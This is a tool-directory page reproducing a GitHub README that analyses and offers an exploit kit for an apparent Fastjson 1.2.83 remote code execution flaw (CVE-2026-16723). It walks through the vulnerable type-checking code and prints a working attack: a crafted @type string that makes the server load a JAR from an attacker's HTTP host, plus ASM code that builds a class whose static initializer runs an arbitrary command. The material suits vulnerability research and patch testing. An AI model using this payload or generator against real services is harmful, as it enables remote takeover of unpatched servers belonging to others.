Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
fastjson-cve-2026-16723 — Detailed CVE-2026-16723 analysis and exploit kit for Fastjson 1.2.83 RCE, covering vulnerable code paths, malicious JAR/bytecode generation, and a Docker Compose environment for reproducing the attack. | Kitploit
Tools/GitHubGitHub/learner330/fastjson-cve-2026-16723
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHublearner330/fastjson-cve-2026-16723

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

fastjson-cve-2026-16723

Detailed CVE-2026-16723 analysis and exploit kit for Fastjson 1.2.83 RCE, covering vulnerable code paths, malicious JAR/bytecode generation, and a Docker Compose environment for reproducing the attack.

View Repository
5222 months agoNot yet reviewed
Share

Disclaimer: This project is intended for security research and learning purposes in authorized environments only. Testing against unauthorized systems is prohibited, and users are solely responsible for any consequences of use.


Fastjson 1.2.83 Remote Code Execution Vulnerability Analysis (CVE-2026-16723)

CVSS 9.0, affects Fastjson 1.2.68 ~ 1.2.83. No need to enable AutoType, no third-party Gadget required, exploitable with default configuration.


1. Overview of the Vulnerability Mechanism

The entry point of the vulnerability is in com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Whether JSON.parse(body) or JSON.parseObject(body, Foo.class) is called, execution ultimately reaches this method.

Key code path (fastjson 1.2.83):

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    // ① 黑白名单检查——autoTypeSupport=false 时整段跳过
    if (autoTypeSupport || expectClassFlag) { ... }

    // ② @JSONType 注解探测
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { }
      finally { IOUtils.close(is); }

    // ③ 类型加载
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // ④ jsonType=true 时跳过所有后续检查
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // denyList 检查、硬编码拦截、isAssignableFrom ...
    }
}

The AutoType switch (autoTypeSupport) only controls ① whether entry is allowed, but ② annotation detection is executed unconditionally. As soon as jsonType in ② becomes true, ③ type loading and ④ security check bypass will be triggered in succession.


II. Segment-by-Segment Analysis of the Attack Chain

2.1 typeName → resource

String resource = typeName.replace('.', '/') + ".class";

typeName is the value of @type in the JSON, which is fully controlled by the attacker. The intent is to convert com.example.Foo to com/example/Foo.class, but when the input is a URL, this becomes a URL constructor.

Because the . in the hostname is also replaced, the attacker uses an integer IP to bypass this. The 32-bit unsigned integer for 127.0.0.1 is 2130706433:

输入:  jar:http:..2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
输出:  jar:http://2130706433:8000/probe!/EvilPayload.class

.. → //, .probe! → /probe!/, yielding a valid jar:http:// resource locator.

2.2 getResourceAsStream

is = defaultClassLoader.getResourceAsStream(resource);

Whether getResourceAsStream can resolve jar:http:// as a remote resource depends entirely on the ClassLoader type:

ClassLoader行为
JDK AppClassLoader只搜本地 classpath → null
Tomcat WebappClassLoader(独立 WAR)只搜 WEB-INF/lib → null
Spring Boot LaunchedURLClassLoader(fat-JAR)支持 jar:http:// → HTTP 出去拉字节码

这里有一个容易混淆的点:Spring Boot 内嵌 Tomcat 时,应用类的 ClassLoader 是 LaunchedURLClassLoader 而不是 WebappClassLoader。所以内嵌 Tomcat/Jetty/Undertow 都在受影响范围内。

When is != null, the remote class bytecode hosted by the attacker has already entered JVM memory.

2.3 ASM Probe

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Fastjson uses ASM to scan the bytecode and check whether it contains the @com.alibaba.fastjson.annotation.JSONType annotation. The design intent is performance optimization—quickly identifying types managed by Fastjson through the annotation. However, here it only checks whether the annotation exists; it does not verify the bytecode's origin, does not check the class name, and does not restrict the source. As long as an attacker's remote class carries @JSONType, it can obtain the jsonType=true determination.

Note that catch (Exception e) {} is empty—the attacker will not receive any error.

alt text

2.4 loadClass

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true satisfies the condition. loadClass follows the standard class loading process, registering the bytecode as a JVM Class object via defineClass.

Two concepts need to be distinguished: defineClass completes class definition (registration in the JVM), while <clinit> executes during the class initialization phase. Both phases may complete within the same request, but per the JVM specification they are independent.

2.5 return clazz

if (jsonType) {
    return clazz;
}

This line bypasses all subsequent defenses:

  • ClassLoader/DataSource/RowSet hardcoded interception
  • denyList blacklist
  • expectClass.isAssignableFrom(clazz) type check

This also explains why parseObject(body, Dto.class) cannot prevent it: the type binding check happens after class loading, while the attack code has already executed during the loading phase.


III. Payload Construction

The attacker needs to generate a bytecode file that satisfies three conditions: carrying the @JSONType annotation, embedding the attack code in <clinit>, and hosting it over HTTP.

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// 过 ASM 探针
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());

Malicious logic is triggered via <clinit>, and executes as soon as the class is loaded.


IV. Summary

The essence of this chain is turning Fastjson's annotation detection into a remote class loader. The attacker controls the value of @type, constructs a URL through string conversion, uses getResourceAsStream to initiate SSRF and fetch bytecode, passes the ASM probe's check with the @JSONType annotation, completes class definition via loadClass, and finally skips all security checks with return clazz.


References

  • fastjson-1.2.83-rce (0x7eTeam)
  • fastjson-rce-lab (why-success)

Download Tool